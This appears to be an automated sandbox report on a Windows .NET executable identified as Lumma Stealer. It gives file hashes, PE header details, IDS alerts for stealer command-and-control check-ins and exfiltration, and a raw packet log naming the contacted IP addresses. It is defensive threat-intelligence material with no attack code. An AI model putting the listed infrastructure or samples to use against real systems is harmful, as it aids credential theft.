a0e9f5d64349fb13191bc781f81f42e1	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	104.21.48.1 104.21.64.143
	PI1EA8P74K.exe	Get hash	malicious	LummaC	Browse	104.21.48.1 104.21.64.143
	eXbhgU9.exe	Get hash	malicious	LummaC	Browse	104.21.48.1 104.21.64.143
	PO_KB#67897.cmd	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	104.21.48.1 104.21.64.143
	universityform.xlsm	Get hash	malicious	Unknown	Browse	104.21.48.1 104.21.64.143
	Airway bill details - Delivery receipt Contact Form no_45987165927 ,pdf.scr.exe	Get hash	malicious	DBatLoader, FormBook	Browse	104.21.48.1 104.21.64.143
	universityform.xlsm	Get hash	malicious	Unknown	Browse	104.21.48.1 104.21.64.143
	6QLvb9i.exe	Get hash	malicious	LummaC	Browse	104.21.48.1 104.21.64.143
	lumma.ps1	Get hash	malicious	LummaC	Browse	104.21.48.1 104.21.64.143

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1427
Entropy (8bit):	5.357044657090546
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4x84qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4q4E4Tye:MIHK5HKH1qHxviYHKh3oPtHo6hAHKzew
MD5:	E26687BC12634F920713101924296482
SHA1:	BEAA8A15E2E21A2A4989191A9D44D6C48741E9E0
SHA-256:	5FC819E297BAD76D742C1A37DD0B0825E11B58B20D793E59D194DF179623C2C0
SHA-512:	8980D032A23F4BA1E2656C2B7E213D11C23249A6A97DEE1534826F4C1E84DF81BC28B6981CBA5E2047A5AC966140B4FA16642FCF398E62B0EEFBE1152FD85277
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\random.exe.log

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1427
Entropy (8bit):	5.357044657090546
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4x84qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4q4E4Tye:MIHK5HKH1qHxviYHKh3oPtHo6hAHKzew
MD5:	E26687BC12634F920713101924296482
SHA1:	BEAA8A15E2E21A2A4989191A9D44D6C48741E9E0
SHA-256:	5FC819E297BAD76D742C1A37DD0B0825E11B58B20D793E59D194DF179623C2C0
SHA-512:	8980D032A23F4BA1E2656C2B7E213D11C23249A6A97DEE1534826F4C1E84DF81BC28B6981CBA5E2047A5AC966140B4FA16642FCF398E62B0EEFBE1152FD85277
Malicious:	true
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.148268865315024
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	random.exe
File size:	847'872 bytes
MD5:	99dd1cbbd08be12b84138ba44f2c0c3c
SHA1:	6ebe64007cfaef89253f61ce55c2ca4895b5ecf9
SHA256:	b0aeea5ea36e3f37e4766115d1412085d477b7fbd5c42b861c649df0bb1f20e9
SHA512:	a3e7af9de2f49b0698a8d933a9f70c99f4cbed554e51615e72089fc7ac8a3a24fe7f26f277e604d9a4fe39fbde25accdf7f3e7fd738547b7489080b9c71d6cc7
SSDEEP:	12288:XZrquz8MsQ1S4jzdY7XO+Q3EYqUXh4dR4hSJBttj9wHV:XZrqkBc4jzl+QEf4hSJBtw
TLSH:	E905F158A7F49A04F9BE1BBD987514004779FC83A833E32E07D8A1BE2A73B50D951727
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...]].e..............P.............>.... ........@.. .......................@............`................................

File Icon


Icon Hash:	019193b191ddb511

Static PE Info

General

Entrypoint:	0x4bff3e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x65915D5D [Sun Dec 31 12:23:57 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xbfef0	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc0000	0x10a1c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xbdf44	0xbe000	a7c5f1403a81242560a59d5d54313b1f	False	0.6306422183388158	data	6.208438438106556	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xc0000	0x10a1c	0x10c00	2ba02550d56173decef96a57b3e6695e	False	0.5198373367537313	data	5.36558107768625	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xd2000	0xc	0x200	73179e2759fa22fc21903bab3cc4d535	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xc0478	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	0.4884393063583815
RT_ICON	0xc09e0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.5806737588652482
RT_ICON	0xc0e48	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.6656137184115524
RT_ICON	0xc16f0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.43105065666041276
RT_ICON	0xc2798	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	0.48587420042643925
RT_ICON	0xc3640	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.34865145228215766
RT_ICON	0xc5be8	0x529a	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9936158138655065
RT_ICON	0xcae84	0x6a0	Device independent bitmap graphic, 22 x 36 x 32, image size 1656	0.20106132075471697
RT_ICON	0xcb524	0x4f0	Device independent bitmap graphic, 16 x 20 x 8, image size 200, resolution 2835 x 2835 px/m	0.25316455696202533
RT_ICON	0xcba14	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	0.14979253112033195
RT_ICON	0xcdfbc	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	0.18222326454033771
RT_ICON	0xcf064	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	0.2266393442622951
RT_ICON	0xcf9ec	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	0.2907801418439716
RT_ICON	0xcfe54	0x4f0	Device independent bitmap graphic, 13 x 20 x 8, image size 160, 256 important colors	0.10917721518987342
RT_ICON	0xd0344	0x258	Device independent bitmap graphic, 13 x 20 x 32, image size 560	0.3466666666666667
RT_GROUP_ICON	0xd059c	0x68	data	0.7307692307692307
RT_GROUP_ICON	0xd0604	0x14	data	1.25
RT_GROUP_ICON	0xd0618	0x14	data	1.25
RT_GROUP_ICON	0xd062c	0x3e	data	0.8870967741935484
RT_GROUP_ICON	0xd066c	0x14	data	1.25
RT_GROUP_ICON	0xd0680	0x14	data	1.25
RT_VERSION	0xd0694	0x388	data	0.4225663716814159

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-30T16:18:15.956142+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	57959	104.21.48.1	443	TCP
2024-12-30T16:18:16.441023+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	57959	104.21.48.1	443	TCP
2024-12-30T16:18:16.441023+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	57959	104.21.48.1	443	TCP
2024-12-30T16:18:16.912991+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	57960	104.21.48.1	443	TCP
2024-12-30T16:18:17.352874+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	57960	104.21.48.1	443	TCP
2024-12-30T16:18:17.352874+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	57960	104.21.48.1	443	TCP
2024-12-30T16:18:18.019890+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	57961	104.21.48.1	443	TCP
2024-12-30T16:18:19.042249+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	57962	104.21.48.1	443	TCP
2024-12-30T16:18:20.087656+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	57963	104.21.48.1	443	TCP
2024-12-30T16:18:21.296484+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	57964	104.21.48.1	443	TCP
2024-12-30T16:18:21.742197+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	57964	104.21.48.1	443	TCP
2024-12-30T16:18:22.493135+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	57965	104.21.48.1	443	TCP
2024-12-30T16:18:24.111191+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	57966	104.21.64.143	443	TCP
2024-12-30T16:18:24.570318+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	57966	104.21.64.143	443	TCP
2024-12-30T16:18:24.570318+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	57966	104.21.64.143	443	TCP
2024-12-30T16:18:24.619096+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	57967	104.21.48.1	443	TCP
2024-12-30T16:18:25.061552+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	57968	104.21.64.143	443	TCP
2024-12-30T16:18:25.091995+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	57967	104.21.48.1	443	TCP
2024-12-30T16:18:25.538684+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	57968	104.21.64.143	443	TCP
2024-12-30T16:18:25.538684+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	57968	104.21.64.143	443	TCP
2024-12-30T16:18:26.207168+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	57969	104.21.64.143	443	TCP
2024-12-30T16:18:27.282634+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	57970	104.21.64.143	443	TCP
2024-12-30T16:18:28.333667+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	57971	104.21.64.143	443	TCP
2024-12-30T16:18:29.489247+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	57972	104.21.64.143	443	TCP
2024-12-30T16:18:30.079771+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	57972	104.21.64.143	443	TCP
2024-12-30T16:18:30.800841+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	57973	104.21.64.143	443	TCP
2024-12-30T16:18:33.311211+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	57974	104.21.64.143	443	TCP
2024-12-30T16:18:33.910391+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	57974	104.21.64.143	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 16:16:55.068039894 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.068085909 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.068166018 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.080311060 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.080327034 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.568417072 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.568504095 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.578159094 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.578191042 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.578429937 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.628767014 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.650619030 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.695341110 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.751859903 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.751878977 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.752012014 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.752048016 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.752177954 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.752372026 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.752439976 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.752568007 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.752629995 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.756803036 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.756877899 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.844434977 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.844561100 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.844701052 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.844701052 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.844705105 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.844717026 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.844757080 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.844804049 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.844825983 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.844835997 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.844890118 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.845633030 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.845668077 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.845717907 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.845717907 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.845726967 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.845801115 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.846163034 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.846199036 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.846227884 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.846235991 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.846271038 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.846271038 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.936800003 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.936846972 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.936877966 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.936934948 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.936953068 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.936975002 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.937257051 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.937290907 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.937357903 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.937357903 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.937367916 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.937642097 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.937686920 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.937716961 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.937722921 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.937733889 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.937755108 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.937774897 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.938397884 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.938437939 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.938465118 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.938472033 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.938486099 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.938488960 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.938544989 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.938544989 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.938554049 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.939306974 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.939342976 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.939377069 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.939529896 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.939539909 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.939631939 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:55.941622019 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:55.941716909 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.029253960 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.029290915 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.029321909 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.029356003 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.029396057 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.029441118 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.029441118 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.029441118 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.029455900 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.029496908 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.029516935 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.029545069 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.029565096 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.029575109 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.029589891 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.029616117 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.029750109 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.029831886 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.029839039 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.029850960 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.029880047 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.029905081 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.029913902 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.029928923 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.029928923 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.029973030 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.029979944 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.030009031 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.030198097 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.030231953 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.030252934 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.030261040 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.030284882 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.030442953 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.030517101 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.030531883 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.030545950 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.030563116 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.030575037 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.030653954 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.030659914 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.030705929 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.034471989 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.034512997 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.034528971 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.034537077 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.034548044 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.034562111 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.034579039 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.034596920 CET	49704	443	192.168.2.5	169.197.85.95
